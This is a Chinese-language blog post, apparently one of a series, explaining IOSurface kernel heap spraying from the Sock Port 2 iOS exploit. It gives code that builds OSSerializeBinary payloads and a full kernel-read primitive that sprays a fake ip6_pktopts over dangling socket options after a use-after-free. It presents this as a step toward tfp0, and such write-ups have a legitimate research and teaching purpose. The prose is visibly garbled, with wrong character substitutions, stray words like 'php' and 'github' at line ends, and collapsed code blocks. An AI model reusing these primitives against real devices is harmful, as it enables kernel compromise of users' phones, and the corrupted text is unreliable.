在上一篇文章中,咱們介紹了基於 OOL Message 的 Port Address Spraying,這種 Spraying 的侷限性很大,只能對已釋放區域填充 Port Address。實現 tfp0 的一個關鍵點是在已釋放區域填充任意數據,這就須要咱們尋找其餘函數做爲 Heap Spraying 的工具。php
本文將介紹一種基於 IOSurface 的 Heap Spraying 方法,經過該方法可以實現將任意數據噴射到指定位置。ios
根據蘋果的文檔[1],IOSurface Framework 的功能以下:git
The IOSurface framework provides a framebuffer object suitable for sharing across process boundaries. It is commonly used to allow applications to move complex image decompression and draw logic into a separate process to enhance security.github
即 IOSurface.framework 提供了一個跨進程共享的幀緩衝區,它經常用於把複雜的圖片解碼與繪製邏輯分離到單獨的進程以提升安全性。數組
瞭解了 IOSurface.framework,接下來根據 iPhone Dev Wiki 給出的描述[2]:安全
IOSurface is an object encompassing a kernel-managed rectangular pixel buffer in the IOSurface framework. It is a thin wrapper on top of an IOSurfaceClient object which actually interfaces with the kernel.markdown
從這段描述咱們能夠提取出有效信息:IOSurface 是一個被內核管理的對象,它是在 IOSurfaceClient 之上的一個封裝,既然這個對象被分配到內核的內存區域,咱們就有機會利用它實現 Kernel Heap Spraying。數據結構
在上一篇文章 的 Sock Port 概覽中咱們提到可藉助 in6p_outputopts
成員實現不穩定的內核內存讀取和釋放,其實現原理是先僞造一個 in6p_outputopts
結構體,利用 minmtu 成員做爲標誌位,再額外利用一個結構體指針 in6_pktinfo
賦予咱們想要讀取的地址,以下所示:app
// create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); // give a number we can recognize fake_opts->ip6po_minmtu = 0x41424344; // on iOS 10, minmtu offset is different *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // address to read fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; 複製代碼
而後咱們利用 Socket UAF 製造大量的已釋放 in6p_outputopts
區域,隨後將上述僞造的數據噴射到 Socket UAF 區域,經過 getsockopt 函數讀取 minmtu 確認 Spraying 成功,成功後再經過 getsockopt 讀取 ip6po_pktinfo
結構體,因爲 ip6po_pktinfo
的大小爲 20B,咱們經過這種方式一次性能夠讀取目標地址的 20B 數據。iphone
不難看出,上述問題的關鍵在於如何實現 fake in6p_outputopts
的 Spraying,而 IOSurface 可以向內核的緩衝區發送任意數據,所以很是適合這個場景。
首先咱們看到 Sock Port 2 提供的 IOSurface 函數:
int spray_IOSurface(void *data, size_t size) {
return !IOSurface_spray_with_gc(32, 256, data, (uint32_t)size, NULL);
}
bool
IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
void *data, uint32_t data_size,
void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
return IOSurface_spray_with_gc_internal(array_count, array_length, 0,
data, data_size, callback);
}
複製代碼
其中 Facade 函數爲 spray_IOSurface
,只須要提供待 Spraying 的數據和大小便可,它是 IOSurface_spray_with_gc
的簡單封裝,提供了對生成的 OSArray 的默認配置,array_count = 32
表明生成 32 個 Spraying Array,即進行 32 次 Heap Spraying,而 array_length = 256
表明每一個數組中包含了 256 個 Spraying Data。
在 IOSurface_spray_with_gc_internal
函數中,首先完成的是 OSSerializeBinary XML 的構造:
static bool IOSurface_spray_with_gc_internal(uint32_t array_count, uint32_t array_length, uint32_t extra_count, void *data, uint32_t data_size, void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) { // 1. 建立一個 IOSurfaceRootClient 對象與內核通訊 // Make sure our IOSurface is initialized. bool ok = IOSurface_init(); if (!ok) { return 0; } // 2. 咱們當前的使用方式下 extra_count = 0,所以能夠忽略 extra_count // How big will our OSUnserializeBinary dictionary be? uint32_t current_array_length = array_length + (extra_count > 0 ? 1 : 0); // 3. 計算 Spraying Data 所須要的 XML 結點數 size_t xml_units_per_data = xml_units_for_data_size(data_size); // 4. 這裏的多個 1 表明除去 Spraying Data 外的固定 XML 結點,後面具體構造會看到 size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1; // 5. 構造傳入內核的 args,包含了待構造 xml 與其餘描述內容 // Allocate the args struct. struct IOSurfaceValueArgs *args; size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]); args = malloc(args_size); assert(args != 0); // Build the IOSurfaceValueArgs. args->surface_id = IOSurface_id; // Create the serialized OSArray. We'll remember the locations we need to fill in with our // 6. 每一個 XML 都包含了一個 OSArray 來容納 Spraying Data // 這裏的 xml_data 數組即容納 current_array_length(256) 個 xml_data // 每一個 xml_data 包含一個 Spraying Data,它由多個 xml 結點組成 // data as well as the slot we need to set our key. uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data)); assert(xml_data != NULL); uint32_t *key; // 7. 構造 XML size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); assert(xml_size == xml_units * sizeof(args->xml[0])); // ... 複製代碼
上述構造過程較爲複雜,總共有 7 個關鍵步驟,在上面的代碼中已經過註釋的方式說明,讀者可先粗略瞭解一下整個過程,接下來咱們詳細分析這些過程。
在上述步驟 7 中咱們構造了一個裝有 256 個 OSString 的 OSArray,其中 OSString 爲序列化的 Spraying Data,經過 IOSurfaceRootClient 將 XML 送入內核緩衝區後,內核會爲這些 OSString 分配空間,而 OSString 就是咱們須要噴射的數據,所以經過這種方式成功的實現了任意數據的 Heap Spraying。
用於 IOSurface 傳輸的 XML 對象的每一個結點均可以用一個 uint32 表示,稱爲 XML Unit,因爲 IOSurface 調用必須指定輸入的長度,所以計算好每一輪 Spraying 使用的 XML 大小相當重要。
在步驟 3 中,咱們計算了 Spraying Data 對應的 XML Units 數量:
// 3. 計算 Spraying Data 所須要的 XML 結點數 size_t xml_units_per_data = xml_units_for_data_size(data_size); /* * xml_units_for_data_size * * Description: * Return the number of XML units needed to store the given size of data in an OSString. */ static size_t xml_units_for_data_size(size_t data_size) { return ((data_size - 1) + sizeof(uint32_t) - 1) / sizeof(uint32_t); } 複製代碼
因爲序列化數據在內核中被表示爲 OSString,因此咱們須要考慮結尾的 \0
,此時只能犧牲數據的最後一位做爲 \0
,所以實際計算的大小爲 size - 1
,接下來的公式就轉化爲 (actual_size + n - 1) / n
,這是典型的 Ceiling 函數,即對 actual_size 除以 4(XML Unit Size) 向上取整,最後獲得的是每一個 Spraying Data 對應的 OSString 所佔據的 XML Units Count,並存儲在 xml_units_per_data
中。
隨後在步驟 4 中,咱們基於 xml_units_per_data
計算了 XML Units Count 的總數:
size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1; 複製代碼
其中 (1 + xml_units_per_data) * current_array_length
不難理解,即將 OSString Header + Data 結構重複 current_array_length
次後的 Units Count,先後的 3 個 1 均表示額外的描述性 XML Units。
最後在步驟 6 中,咱們準備了一個 XML Units 指針數組,用於指向 XML 中待填充 OSString 的 current_array_length
個區域的 Child Unit Header,該數組會在 XML 構建過程當中使用,將 current_array_length
個 OSString 的 Header Unit Address 保存下來,以便接下來將 Spraying Data 拷貝到 XML 中。
構造的關鍵在步驟 7 對 serialize_IOSurface_data_array
的調用:
#if 0 struct IOSurfaceValueArgs { uint32_t surface_id; uint32_t _out1; union { uint32_t xml[0]; char string[0]; }; }; #endif struct IOSurfaceValueArgs *args; size_t args_size = sizeof(*args) + xml_units * sizeof(args->xml[0]); args = malloc(args_size); // 7. 構造 XML uint32_t *key; uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data)); size_t xml_size = serialize_IOSurface_data_array(args->xml, current_array_length, data_size, xml_data, &key); 複製代碼
這裏的 args->xml
即 XML Units 指針,它經過指向一個 XML Header Unit 來引用 XML。
因爲前期準備充分,這裏的計算並不複雜,只是對 XML 鏈表的拼接:
static size_t serialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) { uint32_t *xml = xml0; *xml++ = kOSSerializeBinarySignature; *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection; *xml++ = kOSSerializeArray | array_length; for (size_t i = 0; i < array_length; i++) { uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0); *xml++ = kOSSerializeData | (data_size - 1) | flags; xml_data[i] = xml; xml += xml_units_for_data_size(data_size); } *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection; *key = xml++; // This will be filled in on each array loop. *xml++ = 0; // Null-terminate the symbol. return (xml - xml0) * sizeof(*xml); } 複製代碼
xml0
爲當前 XML 的 Header Units,咱們定義一個 xml
變量做爲 Cursor,逐步構建 XML,每一個 XML Unit 都由一個 uint32 描述,以頭部 3 句爲例:
*xml++ = kOSSerializeBinarySignature; *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection; *xml++ = kOSSerializeArray | array_length; 複製代碼
它至關於聲明瞭以下 XML 結構:
<kOSSerializeBinarySignature /> <kOSSerializeArray>2</kOSSerializeArray> <kOSSerializeArray length=${array_length}> 複製代碼
它正好是上文中計算 XML Units Count 的前面 3 個 1。
隨後的循環中將 array_length
個 OSString 填充到 OSArray 中,並將這些 OSString 的 XML Unit Address 存入 xml_data
指針數組:
for (size_t i = 0; i < array_length; i++) { uint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0); *xml++ = kOSSerializeData | (data_size - 1) | flags; xml_data[i] = xml; xml += xml_units_for_data_size(data_size); } 複製代碼
這構建了以下的 XML:
<kOSSerializeBinarySignature /> <kOSSerializeArray>2</kOSSerializeArray> <kOSSerializeArray length=${array_length}> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[0] --> </kOSSerializeData> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[1] --> </kOSSerializeData> <!-- ... --> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[array_length - 1] --> </kOSSerializeData> </kOSSerializeArray> 複製代碼
最後填充的是尾部的 XML Units:
*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection; *key = xml++; // This will be filled in on each array loop. *xml++ = 0; // Null-terminate the symbol. 複製代碼
這裏包含了 3 個 Units:
<kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol> <key>${key}</key> 0 複製代碼
這也印證了上文 XML Units 計算的尾部的 +3,所以最後獲得的 XML 爲:
<kOSSerializeBinarySignature /> <kOSSerializeArray>2</kOSSerializeArray> <kOSSerializeArray length=${array_length}> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[0] --> </kOSSerializeData> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[1] --> </kOSSerializeData> <!-- ... --> <kOSSerializeData length=${data_size - 1}> <!-- xml_data[array_length - 1] --> </kOSSerializeData> </kOSSerializeArray> <kOSSerializeSymbol>${sizeof(uint32_t) + 1}</kOSSerializeSymbol> <key>${key}</key> 0 複製代碼
此時 XML 結構已經構建完畢,只須要向 xml_data
佔位符中填充 Spraying Data,向 key 中填充標識符便可完成組裝。
接下來的代碼完成的是數據填充和向內核發送數據,基於上面的討論很好理解:
// Keep track of when we need to do GC. static uint32_t total_arrays = 0; size_t sprayed = 0; size_t next_gc_step = 0; // Loop through the arrays. for (uint32_t array_id = 0; array_id < array_count; array_id++) { // If we've crossed the GC sleep boundary, sleep for a bit and schedule the // next one. // Now build the array and its elements. // 1. 生成惟一標識符填充到 key *key = base255_encode(total_arrays + array_id); for (uint32_t data_id = 0; data_id < current_array_length; data_id++) { // Copy in the data to the appropriate slot. // 2. 將數據填充到 OSString memcpy(xml_data[data_id], data, data_size - 1); } // 3. 向內核發送數據 // Finally set the array in the surface. ok = IOSurface_set_value(args, args_size); if (!ok) { free(args); free(xml_data); return false; } if (ok) { sprayed += data_size * current_array_length; } } 複製代碼
經過上述代碼中標出的 3 個關鍵步驟便可將組裝好的 XML 送入內核幀緩衝區,內核會爲其中的 OSString 分配內存,在這個過程當中就完成了 Heap Spraying。
經過構造多個懸垂的 in6p_outputopts
,再以僞造的 in6p_outputopts
進行 spraying,將僞造數據結構的 pktinfo 指向待讀取地址,minmtu 做爲標識符,進行 IOSurface Spraying,隨後基於 minmtu 挑選成功 Spraying 的懸垂 in6p_outputopts
區域,使用 getsockopt 獲取 pktinfo 結構體內容,因爲該結構體大小爲 20B,咱們由此拿到了指定內核地址 20B 的數據:
// second primitive: read 20 bytes from addr void* read_20_via_uaf(uint64_t addr) { // create a bunch of sockets int sockets[128]; for (int i = 0; i < 128; i++) { sockets[i] = get_socket_with_dangling_options(); } // create a fake struct with our dangling port address as its pktinfo struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts)); fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr; bool found = false; int found_at = -1; for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts)); for (int j = 0; j < 128; j++) { int minmtu = -1; get_minmtu(sockets[j], &minmtu); if (minmtu == 0x41424344) { // found it! found_at = j; // save its index found = true; break; } } if (found) break; } free(fake_opts); if (!found) { printf("[-] Failed to read kernel\n"); return 0; } for (int i = 0; i < 128; i++) { if (i != found_at) { close(sockets[i]); } } void *buf = malloc(sizeof(struct in6_pktinfo)); get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf); close(sockets[found_at]); return buf; } 複製代碼
本文介紹了一種更通用的 Heap Spraying 方案,並介紹了經過該方案實現 kread 的過程和原理。
經過 IOSurface Spraying 不只能實現 kread,也能夠實現 kfree。在下一篇文章中,咱們將介紹經過 kread + kfree 的組合實現 tfp0 的最後幾個步驟。